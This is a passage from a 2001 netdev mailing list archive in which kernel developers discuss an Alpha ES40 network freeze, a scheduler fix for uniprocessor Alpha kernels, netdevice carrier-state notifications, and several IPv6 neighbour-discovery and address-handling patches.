too it seems) I'm going to release soon a 2.4.5pre1aa1 that will compile with modules as well. The only annoying thing is that UP kernel compiles seems not to boot but I hope that will be fixed soon too. So I doubt the problem is the tcp stack, it may not be the driver but it shouldn't be a generic bug in vanilla 2.4.4 at least. Andrea From owner-netdev@oss.sgi.com Thu May 3 10:01:35 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f43H1ZA07821 for netdev-outgoing; Thu, 3 May 2001 10:01:35 -0700 Received: from zcamail03.zca.compaq.com (zcamail03.zca.compaq.com [161.114.32.103]) by oss.sgi.com (8.11.3/8.11.3) with ESMTP id f43H1XF07817 for ; Thu, 3 May 2001 10:01:33 -0700 Received: by zcamail03.zca.compaq.com (Postfix, from userid 12345) id 870AE9AE; Thu, 3 May 2001 10:01:22 -0700 (PDT) Received: from taynzmail03.nz-tay.cpqcorp.net (taynzmail03.nz-tay.cpqcorp.net [16.47.4.103]) by zcamail03.zca.compaq.com (Postfix) with ESMTP id 4CDE5AA4; Thu, 3 May 2001 10:01:22 -0700 (PDT) Received: by taynzmail03.nz-tay.cpqcorp.net (Postfix, from userid 12345) id B41C837E; Thu, 3 May 2001 13:01:26 -0400 (EDT) Received: from oflume.zk3.dec.com (bryflume.zk3.dec.com [16.141.40.17]) by taynzmail03.nz-tay.cpqcorp.net (Postfix) with ESMTP id 40D65295; Thu, 3 May 2001 13:01:26 -0400 (EDT) Received: from zk3.dec.com by oflume.zk3.dec.com (8.8.8/1.1.22.3/03Mar00-0551AM) id NAA0000004513; Thu, 3 May 2001 13:01:11 -0400 (EDT) Message-ID: <3AF18E38.8EA6314C@zk3.dec.com> Date: Thu, 03 May 2001 12:58:32 -0400 From: Peter Rival Organization: Tru64 QMG Performance Engineering X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.16-22 i686) X-Accept-Language: en MIME-Version: 1.0 To: Andrea Arcangeli Cc: "Cabaniols, Sebastien" , "'Andrew Morton'" , "'netdev@oss.sgi.com'" , "'linux-kernel@vger.kernel.org'" , "'davem@redhat.com'" , "'kuznet@ms2.inr.ac.ru'" Subject: Re: [BUG] freeze Alpha ES40 SMP 2.4.4.ac3, another TCP/IP Problem ? ( was 2.4.4 kernel crash , possibly tcp related ) References: <1FF17ADDAC64D0119A6E0000F830C9EA04B3CDD1@aeoexc1.aeo.cpqcorp.net> <20010503184610.T1162@athlon.random> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-netdev@oss.sgi.com Precedence: bulk Andrea Arcangeli wrote: > On Thu, May 03, 2001 at 06:16:02PM +0200, Cabaniols, Sebastien wrote: > > The only thing that does not work under load is the network.... TCP/IP ? > > My alpha is running 2.4.4aa3 under very high load (apache beaten from ab > in loop via 100mbit switched network [tulip on the alpha] plus cerberus) > and I didn't had any problem so far (it only deadlocked with OOM after > one day of day of tux [instead of apache] + cerberus regression testing > but that's only because of a memleak in tux that I reproduced on x86 too > it seems) > Silly question, Sebastien - when you do a "show config" at the console, how is your card represented? FWIU, there have been problems with adapters under load that aren't fully supported by SRM... Just a guess. Could you try this with a DE600 (Intel) or a DE500 (tulip)? - Pete From owner-netdev@oss.sgi.com Thu May 3 10:23:59 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f43HNxf09377 for netdev-outgoing; Thu, 3 May 2001 10:23:59 -0700 Received: from penguin.e-mind.com (penguin.e-mind.com [195.223.140.120]) by oss.sgi.com (8.11.3/8.11.3) with ESMTP id f43HNvF09368 for ; Thu, 3 May 2001 10:23:57 -0700 Received: from black.random ([195.223.140.107]) by penguin.e-mind.com (8.9.1a/8.9.1/Debian/GNU) with ESMTP id TAA19957; Thu, 3 May 2001 19:29:43 +0200 Received: from athlon.random ([192.168.1.7]) by black.random (8.10.2/8.10.2/SuSE Linux 8.10.0-0.3) with ESMTP id f43JBCa14466; Thu, 3 May 2001 21:11:12 +0200 Received: (from andrea@localhost) by athlon.random (8.11.2/8.10.2/SuSE Linux 8.10.0-0.3) id f43HNal04684; Thu, 3 May 2001 19:23:36 +0200 Date: Thu, 3 May 2001 19:23:36 +0200 From: Andrea Arcangeli To: "Cabaniols, Sebastien" Cc: "'Andrew Morton'" , "'netdev@oss.sgi.com'" , "'linux-kernel@vger.kernel.org'" , "'davem@redhat.com'" , "'kuznet@ms2.inr.ac.ru'" Subject: Re: [BUG] freeze Alpha ES40 SMP 2.4.4.ac3, another TCP/IP Problem ? ( was 2.4.4 kernel crash , possibly tcp related ) Message-ID: <20010503192335.U1162@athlon.random> References: <1FF17ADDAC64D0119A6E0000F830C9EA04B3CDD1@aeoexc1.aeo.cpqcorp.net> <20010503184610.T1162@athlon.random> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20010503184610.T1162@athlon.random>; from andrea@suse.de on Thu, May 03, 2001 at 06:46:10PM +0200 X-GnuPG-Key-URL: http://e-mind.com/~andrea/aa.gnupg.asc X-PGP-Key-URL: http://e-mind.com/~andrea/aa.asc Sender: owner-netdev@oss.sgi.com Precedence: bulk On Thu, May 03, 2001 at 06:46:10PM +0200, Andrea Arcangeli wrote: > as well. The only annoying thing is that UP kernel compiles seems not to > boot but I hope that will be fixed soon too. Ok I spotted and fixed that bug that forbidden my tree to boot with UP compiles on alpha. The bug is that the SCHED_YIELD handling was broken on alpha UP, this is the fix: --- 2.4.5pre1aa1/arch/alpha/kernel/entry.S.~1~ Thu May 3 18:22:13 2001 +++ 2.4.5pre1aa1/arch/alpha/kernel/entry.S Thu May 3 19:18:16 2001 @@ -709,16 +709,14 @@ br restore_all .end entSys -#ifdef CONFIG_SMP - .globl ret_from_smp_fork + .globl ret_from_fork .align 3 -.ent ret_from_smp_fork -ret_from_smp_fork: +.ent ret_from_fork +ret_from_fork: lda $26,ret_from_sys_call mov $17,$16 jsr $31,schedule_tail -.end ret_from_smp_fork -#endif /* CONFIG_SMP */ +.end ret_from_fork .align 3 .ent reschedule --- 2.4.5pre1aa1/arch/alpha/kernel/process.c.~1~ Thu May 3 18:22:09 2001 +++ 2.4.5pre1aa1/arch/alpha/kernel/process.c Thu May 3 19:15:41 2001 @@ -306,7 +306,7 @@ struct task_struct * p, struct pt_regs * regs) { extern void ret_from_sys_call(void); - extern void ret_from_smp_fork(void); + extern void ret_from_fork(void); struct pt_regs * childregs; struct switch_stack * childstack, *stack; @@ -325,11 +325,7 @@ stack = ((struct switch_stack *) regs) - 1; childstack = ((struct switch_stack *) childregs) - 1; *childstack = *stack; -#ifdef CONFIG_SMP - childstack->r26 = (unsigned long) ret_from_smp_fork; -#else - childstack->r26 = (unsigned long) ret_from_sys_call; -#endif + childstack->r26 = (unsigned long) ret_from_fork; p->thread.usp = usp; p->thread.ksp = (unsigned long) childstack; p->thread.pal_flags = 1; /* set FEN, clear everything else */ (SCHED_YIELD of the previous task is cleared by __schedule_tail, it wasn't cleared so a non running task had a SCHED_YIELD set and it was deadlocking, this can explain many malfunction of UP alpha kernels) I never noticed so far because I always compiled it SMP. Andrea From owner-netdev@oss.sgi.com Thu May 3 10:41:36 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f43HfaY10458 for netdev-outgoing; Thu, 3 May 2001 10:41:36 -0700 Received: from zcamail04.zca.compaq.com (zcamail04.zca.compaq.com [161.114.32.104]) by oss.sgi.com (8.11.3/8.11.3) with ESMTP id f43HfSF10451 for ; Thu, 3 May 2001 10:41:28 -0700 Received: by zcamail04.zca.compaq.com (Postfix, from userid 12345) id B9D361269; Thu, 3 May 2001 10:43:01 -0700 (PDT) Received: from excmun-gh01.eur.compaq.com (excmun-gh01.dem.cpqcorp.net [16.41.92.160]) by zcamail04.zca.compaq.com (Postfix) with ESMTP id DD1C91FA; Thu, 3 May 2001 10:42:59 -0700 (PDT) Received: by excmun-gh01.dem.cpqcorp.net with Internet Mail Service (5.5.2650.21) id ; Thu, 3 May 2001 19:41:19 +0200 Message-ID: <1FF17ADDAC64D0119A6E0000F830C9EA04B3CDD2@aeoexc1.aeo.cpqcorp.net> From: "Cabaniols, Sebastien" To: "Rival, Frank" , Andrea Arcangeli Cc: "'Andrew Morton'" , "'netdev@oss.sgi.com'" , "'linux-kernel@vger.kernel.org'" , "'davem@redhat.com'" , "'kuznet@ms2.inr.ac.ru'" Subject: RE: [BUG] freeze Alpha ES40 SMP 2.4.4.ac3, another TCP/IP Problem ? ( was 2.4.4 kernel crash , possibly tcp related ) Date: Thu, 3 May 2001 19:41:13 +0200 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-netdev@oss.sgi.com Precedence: bulk >Silly question, Sebastien - when you do a "show config" at the console, how >is your card represented? FWIU, there have been problems with adapters under >load that aren't fully supported by SRM... Just a guess. Could you try this >with a DE600 (Intel) or a DE500 (tulip)? > - Pete appended to this email is the output of show conf I can see the 3COM board at first slot 2 I also have a DE600 board into slot 6 of second PCI bus DE600 boards freeze my system DE504 board freeze my system I have tried to change the switch, point to point connections... So I changed to 3com905b to have a more standart board (in the linux community I mean). :((( P00>>>show conf Compaq Computer Corporation Compaq AlphaServer ES40 Firmware SRM Console: V5.9-24 ARC Console: v5.70 PALcode: OpenVMS PALcode V1.90-101, Tru64 UNIX PALcode V1.86-101 Serial ROM: V2.12-F RMC ROM: V1.0 RMC Flash ROM: V2.6 Processors CPU 0 Alpha EV68A pass 2.1 or 2.1A or 3.0 833 MHz 8MB Bcache CPU 1 Alpha EV68A pass 2.1 or 2.1A or 3.0 833 MHz 8MB Bcache CPU 2 Alpha EV68A pass 2.1 or 2.1A or 3.0 833 MHz 8MB Bcache CPU 3 Alpha EV68A pass 2.1 or 2.1A or 3.0 833 MHz 8MB Bcache Core Logic Cchip DECchip 21272-CA Rev 9(C4) Dchip DECchip 21272-DA Rev 2 Pchip 0 DECchip 21272-EA Rev 2 Pchip 1 DECchip 21272-EA Rev 2 TIG Rev 10 Memory Array Size Base Address Intlv Mode --------- ---------- ---------------- ---------- 0 2048Mb 0000000000000000 4-Way 1 2048Mb 0000000080000000 4-Way 2 2048Mb 0000000100000000 4-Way 3 2048Mb 0000000180000000 4-Way 8192 MB of System Memory Slot Option Hose 0, Bus 0, PCI 1 NCR 53C895 pkb0.7.0.1.0 SCSI Bus ID 7 dkb0.0.0.1.0 COMPAQ BD009635C3 dkb100.1.0.1.0 COMPAQ BF01863644 dkb200.2.0.1.0 COMPAQ BF01863644 2 905510B7/905510B7 3 804314C1/804314C1 7 Acer Labs M1543C Bridge to Bus 1, ISA 15 Acer Labs M1543C IDE dqa.0.0.15.0 dqb.0.1.15.0 dqa0.0.0.15.0 Compaq CRD-8402B 19 Acer Labs M1543C USB Option Hose 0, Bus 1, ISA Floppy dva0.0.0.1000.0 Slot Option Hose 1, Bus 0, PCI 4 NCR 53C895 pka0.7.0.4.1 SCSI Bus ID 7 dka0.0.0.4.1 COMPAQ BF01863644 dka100.1.0.4.1 COMPAQ BF01863644 dka200.2.0.4.1 COMPAQ BF01863644 dka300.3.0.4.1 COMPAQ BF01863644 5 QLogic QLA2200 pya0.0.0.5.1 6 DE600-AA eia0.0.0.6.1 00-50-8B-AE-DD-A0 From owner-netdev@oss.sgi.com Thu May 3 10:53:40 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f43Hret11407 for netdev-outgoing; Thu, 3 May 2001 10:53:40 -0700 Received: from zcamail04.zca.compaq.com (zcamail04.zca.compaq.com [161.114.32.104]) by oss.sgi.com (8.11.3/8.11.3) with ESMTP id f43HrdF11404 for ; Thu, 3 May 2001 10:53:39 -0700 Received: by zcamail04.zca.compaq.com (Postfix, from userid 12345) id 173961016; Thu, 3 May 2001 10:55:14 -0700 (PDT) Received: from excmun-gh01.eur.compaq.com (excmun-gh01.dem.cpqcorp.net [16.41.92.160]) by zcamail04.zca.compaq.com (Postfix) with ESMTP id 36EF11D0; Thu, 3 May 2001 10:55:12 -0700 (PDT) Received: by excmun-gh01.dem.cpqcorp.net with Internet Mail Service (5.5.2650.21) id ; Thu, 3 May 2001 19:53:31 +0200 Message-ID: <1FF17ADDAC64D0119A6E0000F830C9EA04B3CDD3@aeoexc1.aeo.cpqcorp.net> From: "Cabaniols, Sebastien" To: "Rival, Frank" , Andrea Arcangeli Cc: "'Andrew Morton'" , "'netdev@oss.sgi.com'" , "'linux-kernel@vger.kernel.org'" , "'davem@redhat.com'" , "'kuznet@ms2.inr.ac.ru'" Subject: RE: [BUG] freeze Alpha ES40 SMP 2.4.4.ac3, another TCP/IP Problem ? ( was 2.4.4 kernel crash , possibly tcp related ) Date: Thu, 3 May 2001 19:53:24 +0200 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-netdev@oss.sgi.com Precedence: bulk > Andrea Arcangeli wrote: > > > On Thu, May 03, 2001 at 06:16:02PM +0200, Cabaniols, > Sebastien wrote: > > > The only thing that does not work under load is the > network.... TCP/IP ? > > > > My alpha is running 2.4.4aa3 under very high load (apache > beaten from ab > > in loop via 100mbit switched network [tulip on the alpha] > plus cerberus) > > and I didn't had any problem so far (it only deadlocked > with OOM after > > one day of day of tux [instead of apache] + cerberus > regression testing > > but that's only because of a memleak in tux that I > reproduced on x86 too > > it seems) > > Andrea, Do you think I should install exactly the same version 2.4.4aa3 instead of 2.4.4.ac3 with the TCP patch ? What else can I try to find where my bug is ? I have DE600 boards too but from the last stress tests I did a few days ago it was freezing my system but I suspect this was another story, I then switched to 3com950b because this is a very well known board and I was suspecting it could help a lot to standardize my system. I also used DE504 with the de4x5 driver and it was again crashing my system. I did not used the tulip driver though ( :( ) Again, thanks a lot for any help From owner-netdev@oss.sgi.com Thu May 3 15:34:23 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f43MYNv18631 for netdev-outgoing; Thu, 3 May 2001 15:34:23 -0700 Received: from mail.rz.uni-ulm.de (sirius-giga.rz.uni-ulm.de [134.60.246.36]) by oss.sgi.com (8.11.3/8.11.3) with ESMTP id f43MYLF18628 for ; Thu, 3 May 2001 15:34:22 -0700 Received: from lyra.rz.uni-ulm.de (lyra.rz.uni-ulm.de [134.60.246.140]) by mail.rz.uni-ulm.de (8.9.3/8.9.3) with ESMTP id AAA23469; Fri, 4 May 2001 00:34:18 +0200 (MEST) Received: (from s_mschab@localhost) by lyra.rz.uni-ulm.de (8.9.3/8.9.3) id AAA06868; Fri, 4 May 2001 00:34:18 +0200 (MEST) Date: Fri, 4 May 2001 00:34:18 +0200 (MEST) From: Markus Schaber To: =?ISO-8859-1?Q?s=E9bastien?= person cc: liste noyau linux , liste dev network device Subject: Re: NEWBEE "reverse ioctl" or someting like In-Reply-To: <20010503142929.773147bf.sebastien.person@sycomore.fr> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from QUOTED-PRINTABLE to 8bit by oss.sgi.com id f43MYMF18629 Sender: owner-netdev@oss.sgi.com Precedence: bulk Hello, On Thu, 3 May 2001, sébastien person wrote: > I think that use of pipe isn't preconised because I must fork process > to use pipe, I search something like ioctl but in the other way : > > kernel process ---> user process What about using /proc/ ? Gruß, Markus -- | Gluecklich ist, wer vergisst, was nicht aus ihm geworden ist. +---------------------------------------. ,----------------> http://www.uni-ulm.de/~s_mschab/ \ / mailto:markus.schaber@student.uni-ulm.de \_/ From owner-netdev@oss.sgi.com Thu May 3 16:03:48 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f43N3mF19519 for netdev-outgoing; Thu, 3 May 2001 16:03:48 -0700 Received: from e21.nc.us.ibm.com (e21.nc.us.ibm.com [32.97.136.227]) by oss.sgi.com (8.11.3/8.11.3) with ESMTP id f43N3lF19516 for ; Thu, 3 May 2001 16:03:47 -0700 Received: from southrelay02.raleigh.ibm.com (southrelay02.raleigh.ibm.com [9.37.3.209]) by e21.nc.us.ibm.com (8.9.3/8.9.3) with ESMTP id SAA226684; Thu, 3 May 2001 18:57:51 -0500 Received: from d04nm106.raleigh.ibm.com (d04nm106.raleigh.ibm.com [9.67.228.133]) by southrelay02.raleigh.ibm.com (8.11.1/NCO v4.96) with ESMTP id f43N3jA56962; Thu, 3 May 2001 19:03:45 -0400 Importance: Normal Subject: Re: NETDEV_CHANGE events when __LINK_STATE_NOCARRIER is modified To: davem@redhat.com, netdev@oss.sgi.com From: "Janice Girouard" Date: Thu, 3 May 2001 19:03:44 -0400 Message-ID: X-MIMETrack: Serialize by Router on D04NM106/04/M/IBM(Release 5.0.6 |December 14, 2000) at 05/03/2001 07:03:45 PM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-netdev@oss.sgi.com Precedence: bulk Does anyone have an opinion or insight on this? Janice __________________________________________________________________ Janice Girouard girouard@us.ibm.com 512-838-7981 ---------------------- Forwarded by Janice Girouard/Austin/IBM on 03/05/2001 18:01 --------------------------- Alan Cox on 02/05/2001 18:58:49 To: Janice Girouard/Austin/IBM@IBMUS cc: Subject: Re: NETDEV_CHANGE events when __LINK_STATE_NOCARRIER is modified I dont know actually - Id agree it seems useful for some links, wan especially. Ask davem@redhat.com or netdev@oss.sgi.com Janice Girouard 02/05/2001 17:47 To: alan@lxorguk.ukuu.org.uk cc: From: Janice Girouard/Austin/IBM@IBMUS Subject: NETDEV_CHANGE events when __LINK_STATE_NOCARRIER is modified Alan, I have been looking at the subroutine notifier_call_chain code in dev.c. I see that this seems to be triggered when changes are made to the device "state". The dev->state variable can be netdev_state_t { __LINK_STATE_XOFF=0, __LINK_STATE_START, __LINK_STATE_PRESENT, __LINK_STATE_NOCARRIER} In places like dev_close, and dev_open, I see that both the state is changed and a call is made to notifier_call_chain(...NETDEV_CHANGE, dev). There are ten events that the notifier_call_chain recognizes (NETDEV_UP, NETDEV_DOWN, NETDEV_REBOOT, NETDEV_CHANGE, NETDEV_REGISTER, NETDEV_UNREGISTER, NETDEV_CHANGEMTU, NETDEV_CHANGEADDR, NETDEV_GOING_DOWN, NETDEV_CHANGENAME). I see many calls to notifier_call_chain(...NETDEV_...) whenever significant events occur. The last netdev_state_t flag is managed by the routines netif_carrier_on(...*dev) and netif_carrier_off(...*dev). These are macros defined in netdevice.h . For some reason, these macros do not send a notifier_call_chain(....NETDEV_CHANGE,dev) event (or any NETDEV event). Is there a reason for this? It seems important to know if the line is known to be functional. The netif_carrier_on/off routines are relatively new. Is it possible that this is an oversight? It seems like this macro might call netdev_state_change in dev.c, since this routine is "Called to indicate a device has changed state". Janice __________________________________________________________________ Janice Girouard girouard@us.ibm.com 512-838-7981 From owner-netdev@oss.sgi.com Thu May 3 17:02:00 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f44020121079 for netdev-outgoing; Thu, 3 May 2001 17:02:00 -0700 Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.11.3/8.11.3) with ESMTP id f4401xF21076 for ; Thu, 3 May 2001 17:01:59 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id RAA05299; Thu, 3 May 2001 17:01:52 -0700 From: "David S. Miller" MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15089.61808.45075.22401@pizda.ninka.net> Date: Thu, 3 May 2001 17:01:52 -0700 (PDT) To: "Janice Girouard" Cc: netdev@oss.sgi.com Subject: Re: NETDEV_CHANGE events when __LINK_STATE_NOCARRIER is modified In-Reply-To: References: X-Mailer: VM 6.75 under 21.1 (patch 13) "Crater Lake" XEmacs Lucid Sender: owner-netdev@oss.sgi.com Precedence: bulk Janice Girouard writes: > The last netdev_state_t flag is managed by the routines > netif_carrier_on(...*dev) and netif_carrier_off(...*dev). These are macros > defined in netdevice.h . For some reason, these macros do not send a > notifier_call_chain(....NETDEV_CHANGE,dev) event (or any NETDEV event). > Is there a reason for this? It seems important to know if the line > is known to be functional. The netif_carrier_on/off routines are > relatively new. Is it possible that this is an oversight? It seems > like this macro might call netdev_state_change in dev.c, since this > routine is "Called to indicate a device has changed state". It is not a physical state change. This state bit is meant only as a hack for the isdn layers dial on demand like functionality. This is not the kind of state change the notifier chain listeners are interested in. It would be meaningless for the notifiers to run every time I yank my ethernet cable out of the card on my machine :-) Later, David S. Miller davem@redhat.com From owner-netdev@oss.sgi.com Thu May 3 17:26:09 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f440Q9P22066 for netdev-outgoing; Thu, 3 May 2001 17:26:09 -0700 Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.11.3/8.11.3) with ESMTP id f440Q8F22063 for ; Thu, 3 May 2001 17:26:08 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id RAA05518; Thu, 3 May 2001 17:26:02 -0700 From: "David S. Miller" MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15089.63258.471645.133428@pizda.ninka.net> Date: Thu, 3 May 2001 17:26:02 -0700 (PDT) To: Pekka Savola Cc: , Subject: Re: IPv6: Incoming RA source-address may be non- link-local In-Reply-To: References: X-Mailer: VM 6.75 under 21.1 (patch 13) "Crater Lake" XEmacs Lucid Sender: owner-netdev@oss.sgi.com Precedence: bulk Pekka Savola writes: > On Wed, 2 May 2001, Pekka Savola wrote: > > In net/ipv6/ndisc, ndisc_router_discovery function, where IPv6 router > > advertisements are being processed, there is no check that RA is coming > > from link-local address. > > The following patch (note! untested!) should do it. Copied with small > modification to the printk from ndisc_redirect_rcv: > > --- ndisc.c~ Mon Apr 30 12:12:44 2001 > +++ ndisc.c Thu May 3 13:32:37 2001 > @@ -587,6 +587,11 @@ I would really like to see these kernel messages properly net_ratelimit()'d. Once you test this patch for proper functionalty, could you net_ratelimit() the printk's in this file as well and send me the updated patch? Thanks. Later, David S. Miller davem@redhat.com From owner-netdev@oss.sgi.com Thu May 3 17:26:53 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f440Qr822189 for netdev-outgoing; Thu, 3 May 2001 17:26:53 -0700 Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.11.3/8.11.3) with ESMTP id f440QqF22185 for ; Thu, 3 May 2001 17:26:53 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id RAA05538; Thu, 3 May 2001 17:26:48 -0700 From: "David S. Miller" MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15089.63304.71303.741150@pizda.ninka.net> Date: Thu, 3 May 2001 17:26:48 -0700 (PDT) To: Pekka Savola Cc: , Subject: Re: IPv6: NS -> NA reply RFC2461 SHOULD considerations [patch] In-Reply-To: References: X-Mailer: VM 6.75 under 21.1 (patch 13) "Crater Lake" XEmacs Lucid Sender: owner-netdev@oss.sgi.com Precedence: bulk Pekka Savola writes: > Warning: the patch has not been tested extensively, but compiles and > doesn't seem to cause too major side effects. Double check for > sanity / better way to do it. Please let me know if you'd like me to apply this patch, it looks fine to me. You could combine it with the other ndisc changes you posted today plus the net_ratelimit() work I've asked for. Thanks. Later, David S. Miller davem@redhat.com From owner-netdev@oss.sgi.com Thu May 3 17:30:54 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f440UsC23026 for netdev-outgoing; Thu, 3 May 2001 17:30:54 -0700 Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.11.3/8.11.3) with ESMTP id f440UrF23023 for ; Thu, 3 May 2001 17:30:53 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id RAA05559; Thu, 3 May 2001 17:30:33 -0700 From: "David S. Miller" MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15089.63529.792112.955459@pizda.ninka.net> Date: Thu, 3 May 2001 17:30:33 -0700 (PDT) To: Daniel Roesen Cc: Pekka Savola , netdev@oss.sgi.com, usagi-users@linux-ipv6.org Subject: Re: IPv6: the same address can be added multiple times In-Reply-To: <20010503123033.A1378@hydra.entire-systems.com> References: <20010503123033.A1378@hydra.entire-systems.com> X-Mailer: VM 6.75 under 21.1 (patch 13) "Crater Lake" XEmacs Lucid Sender: owner-netdev@oss.sgi.com Precedence: bulk Daniel Roesen writes: > On Thu, May 03, 2001 at 12:04:10PM +0300, Pekka Savola wrote: > > It looks like a check or two in kernel is missing, > > Nod, if I understand net/ipv6/addrconf.c ipv6_add_addr() correctly, > the check is simply missing. It looks like it unconditionally adds > the address to the interface. Please send me a patch for this when someone comes up with it. I cannot see any logical reason for the current behavior. Can anyone else? Maybe I could see some weird case where you'd be able to assign different route characteristics to two instances of the same interface address. ... no it doesn't make any sense. I have no opinion about matching the ifconfig behavior of BSD. Maybe it would be nice to return no error in this case and silently act as if it happened successfully, but you would need to make sure all the other correctness checks were made before we returned success. That may be more work than it is worth. Later, David S. Miller davem@redhat.com From owner-netdev@oss.sgi.com Thu May 3 18:14:43 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f441Eh224159 for netdev-outgoing; Thu, 3 May 2001 18:14:43 -0700 Received: from kepler.agaran.6bone.pl (postfix@pc-00206.run.net.pl [213.25.169.206] (may be forged)) by oss.sgi.com (8.11.3/8.11.3) with ESMTP id f441EfF24154 for ; Thu, 3 May 2001 18:14:42 -0700 Received: by kepler.agaran.6bone.pl (Postfix+IPv6, from userid 500) id 48876C000; Fri, 4 May 2001 03:14:17 +0200 (CEST) Received: from localhost (localhost [127.0.0.1]) by kepler.agaran.6bone.pl (Postfix+IPv6) with ESMTP id ADBDFBFFF for ; Fri, 4 May 2001 03:14:17 +0200 (CEST) Date: Fri, 4 May 2001 03:14:16 +0200 (CEST) From: "Maciej 'Agaran' Pijanka" To: NetDevel List Subject: 2.4.4 & IPv6 oopses Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-netdev@oss.sgi.com Precedence: bulk Hello im trying to use on one box 2.4.4 and i it crashes very often i mean i need try to ssh to box, then ifdown eth0;ifup eth0 to get crash. anybody found similar problems? Arch: i486, Eisa,Scsi,3c59x,no PCI,no IDE,no IPv4 exept lo and crash is around same place (reproductable) and sometimes if i dont try to ssh, and play with up/down iface it crashes too (just need to wait some time) and again around ndisc/v6/tcp6 (according to start of trace) kernel compiled using egcs,( i may try gcc-2.95.3 too) glibc-2.2.2/2.2.3, and rest requirements are at least enough to match that from Documentation/Changes 2.2.19 works nicelly on that box..no crashes.. best regards agaran -- Maciej 'Agaran' Pijanka i386, Linux 2.2, Pine, Mutt, Slrn, Vi(m), IPv6, Gdb, I do not fear computers. I fear the lack of them. -- Isaac Asimov From owner-netdev@oss.sgi.com Thu May 3 23:09:25 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f4469Pm29135 for netdev-outgoing; Thu, 3 May 2001 23:09:25 -0700 Received: from mailo.vtcif.telstra.com.au (mailo.vtcif.telstra.com.au [202.12.144.17]) by oss.sgi.com (8.11.3/8.11.3) with ESMTP id f4469NF29132 for ; Thu, 3 May 2001 23:09:24 -0700 Received: (from uucp@localhost) by mailo.vtcif.telstra.com.au (8.8.2/8.6.9) id QAA09673; Fri, 4 May 2001 16:09:06 +1000 (EST) Received: from maili.vtcif.telstra.com.au(202.12.142.17) via SMTP by mailo.vtcif.telstra.com.au, id smtpd0rDVPv; Fri May 4 16:08:17 2001 Received: (from uucp@localhost) by maili.vtcif.telstra.com.au (8.8.2/8.6.9) id QAA28999; Fri, 4 May 2001 16:08:16 +1000 (EST) Received: from localhost(127.0.0.1), claiming to be "mail.cdn.telstra.com.au" via SMTP by localhost, id smtpdVUNQR_; Fri May 4 16:07:42 2001 Received: from vus068.trl.telstra.com.au (vus068.trl.telstra.com.au [137.147.113.21]) by mail.cdn.telstra.com.au (8.8.2/8.6.9) with ESMTP id QAA28610; Fri, 4 May 2001 16:07:41 +1000 (EST) Received: from localhost (c729953@localhost) by vus068.trl.telstra.com.au (8.9.1b+Sun/8.9.1) with ESMTP id QAA03059; Fri, 4 May 2001 16:07:24 +1000 (EST) Date: Fri, 4 May 2001 16:07:24 +1000 (EST) From: Roger Venning To: "David S. Miller" cc: Janice Girouard , netdev@oss.sgi.com Subject: Re: NETDEV_CHANGE events when __LINK_STATE_NOCARRIER is modified In-Reply-To: <15089.61808.45075.22401@pizda.ninka.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-netdev@oss.sgi.com Precedence: bulk On Thu, 3 May 2001, David S. Miller wrote: > > It is not a physical state change. This state bit is meant only as a > hack for the isdn layers dial on demand like functionality. > > This is not the kind of state change the notifier chain listeners are > interested in. It would be meaningless for the notifiers to run > every time I yank my ethernet cable out of the card on my machine :-) (presuming first that these events can be propagated up to user space through some kind of listen on a socket style API, something that I don't think is possible _yet_) I beg to differ a little. Considering the case with the machine has multiple network interfaces, and a mobile IP (RFC2002 and friends) capability, this kind of notification is crucial to smoothly transferring traffic onto other available interfaces (think mobile pda with ethernet & wide area cellular data). This is just one instance of 'middleware' style applications that would prefer not to poll this kind of state. Roger. > > Later, > David S. Miller > davem@redhat.com > -- Roger Venning - Technologist - Telstra Research Laboratories For a successful technology, reality must take precedence over public relations, for Nature cannot be fooled. Richard Feynman From owner-netdev@oss.sgi.com Fri May 4 03:24:31 2001 Received: (from 